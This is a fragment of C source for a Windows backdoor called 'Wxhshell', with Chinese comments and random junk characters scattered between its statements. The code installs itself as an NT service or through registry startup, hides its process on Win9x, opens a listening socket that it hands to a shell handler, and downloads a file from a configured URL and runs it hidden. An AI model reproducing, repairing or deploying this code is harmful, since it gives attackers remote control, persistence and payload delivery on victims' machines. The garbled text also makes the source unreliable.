O)O Uy if(!hProcess) return 0; }~rcrm. /oFc03d if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; vmvFBzLR ZBF1rx? CloseHandle(hProcess); $Y6 3!* -xz|ayn hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); NIaF 5z if(hProcess==NULL) return 0; YwGHG{?e O"\nR:\ HMODULE hMod; C w%BZ char procName[255]; RE 9nU%! unsigned long cbNeeded; MA$Xv`6I\ Gbn4*<N if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); (|dPeix| <~N%W#z/ CloseHandle(hProcess); Vg{Zv4+t p!}ZdX[u if(strstr(procName,"services")) return 1; // 以服务启动 7u::5 W-q eHUg-\dy return 0; // 注册表启动 4#_$@ r } R5~gH6K| '#A:.P // 主模块 Xk?R mU6 int StartWxhshell(LPSTR lpCmdLine) e{0L%%2K { x~EKGoz3 SOCKET wsl; Rjq a_hxrS BOOL val=TRUE; %J _ymJ'pd int port=0; 0vn[a,W<A struct sockaddr_in door; gM#jA8gz \-c#jo.$8 if(wscfg.ws_autoins) Install(); :@/"abv U;pe: port=atoi(lpCmdLine); 1M+oTIN N 'i,> if(port<=0) port=wscfg.ws_port; -6`;},Yr a8zZgIV WSADATA data; r1;e 0\?` if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; Yy hny[fa9 0cFn{q'u if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; N
xFUO0O3 setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); ) "[HZ/ door.sin_family = AF_INET; (i]Z|@|) door.sin_addr.s_addr = inet_addr("127.0.0.1"); NF mc>0- door.sin_port = htons(port); p,;mYm s \_9rr6^" if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { L,$3Yj closesocket(wsl); O |WbFf return 1; )|MJnx9 } oNIFx5*Z (ND%} if(listen(wsl,2) == INVALID_SOCKET) { Z(;AyTXA closesocket(wsl); ;Xu22fKh return 1; ?}8IQxU } yj
zK.dM Wxhshell(wsl); h>klTPM> WSACleanup(); I+",b4 AkA!:!l return 0; @1bH}QS CW-A e } _*E!gPO #ib^Kg // 以NT服务方式启动 c+2sT3).D VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) a+Ab]m8` { 63M=,0-Qt DWORD status = 0; +c) TDH DWORD specificError = 0xfffffff; #9:2s$O[x bi$VAYn.^ serviceStatus.dwServiceType = SERVICE_WIN32; mxp Y&Y serviceStatus.dwCurrentState = SERVICE_START_PENDING; yFjVKp'P serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; PS@ *qTin serviceStatus.dwWin32ExitCode = 0;
\bold" serviceStatus.dwServiceSpecificExitCode = 0; 3D_"yZ
serviceStatus.dwCheckPoint = 0; ){ gAj serviceStatus.dwWaitHint = 0; M{E{N K NXI[q'y hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); hcyO97@r if (hServiceStatusHandle==0) return; S-!=NX&C 0
iRR{a< status = GetLastError(); "hPCQp`Tj if (status!=NO_ERROR) <lj\#'G3 { 3=-
})X; serviceStatus.dwCurrentState = SERVICE_STOPPED; !re1EL serviceStatus.dwCheckPoint = 0; `!i-#~n serviceStatus.dwWaitHint = 0; [/$N!2'5 serviceStatus.dwWin32ExitCode = status;
RJ}#)cT serviceStatus.dwServiceSpecificExitCode = specificError; X;!~<~@Y SetServiceStatus(hServiceStatusHandle, &serviceStatus); bfdVED return; z"UPyW1? } @G*.1;jO MhxDV d serviceStatus.dwCurrentState = SERVICE_RUNNING; cAEok P serviceStatus.dwCheckPoint = 0; )yj:PY] serviceStatus.dwWaitHint = 0; qyyq& if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); Q9sl fQ } B4Lx{uno W&C-/O,m
// 处理NT服务事件,比如:启动、停止 *7RvHHf VOID WINAPI NTServiceHandler(DWORD fdwControl) CT*,<l-D { h}&b+1{X switch(fdwControl) ]tY:,Mfs { Cv^`&\[SW+ case SERVICE_CONTROL_STOP: 6ep>hS4A& serviceStatus.dwWin32ExitCode = 0; Fm3t'^SqF serviceStatus.dwCurrentState = SERVICE_STOPPED; !9 f4R/ ? serviceStatus.dwCheckPoint = 0; c-8!#~M( serviceStatus.dwWaitHint = 0; z<&m*0WYA { &=Y e6 f[ SetServiceStatus(hServiceStatusHandle, &serviceStatus); .:9s}%Zr } o~1 Kp!U return; f*fE}; case SERVICE_CONTROL_PAUSE: &HDP!SLS serviceStatus.dwCurrentState = SERVICE_PAUSED; [BDGR
B7d" break; M_|> kp case SERVICE_CONTROL_CONTINUE: !w2gGy:I> serviceStatus.dwCurrentState = SERVICE_RUNNING; W^3;F1 break; 1@_T m case SERVICE_CONTROL_INTERROGATE: #/
"+ break; ; Lql_1 }; *e/K:k SetServiceStatus(hServiceStatusHandle, &serviceStatus); T3 pdx~66 } |B^G:7c Vmi{X b]< // 标准应用程序主函数 ~uj;qq int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) ln<]-)&C { VKW|kU7Cs$ }}T,W.#%u // 获取操作系统版本 Jpj!rXTX* OsIsNt=GetOsVer(); Uyx&E?SlEq GetModuleFileName(NULL,ExeFile,MAX_PATH); H%}IuHhN) Y*LaBxt Q // 从命令行安装 X_?97iXjx if(strpbrk(lpCmdLine,"iI")) Install(); c/aup '{[),*nC n // 下载执行文件 2Z/K(J"&J if(wscfg.ws_downexe) { KnzsHli,~k if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) YQ]\uT>}& WinExec(wscfg.ws_filenam,SW_HIDE); !;3PG9n3|h } a07=tD ll<NIdf\r if(!OsIsNt) { M1!pQC_9 // 如果时win9x,隐藏进程并且设置为注册表启动 \Fb| {6+ HideProc(); ,Em$ !n StartWxhshell(lpCmdLine); .}`hCt08 } =Ho"N`Qy else kXc25y'blP if(StartFromService()) t"AzI8O // 以服务方式启动 lE5v-z? &| StartServiceCtrlDispatcher(DispatchTable); ycr"Y| else Wa'sZ# // 普通方式启动 Q-eCHr) StartWxhshell(lpCmdLine); g,kzQ}_ cAuY4RV return 0;
!#x= JX }
|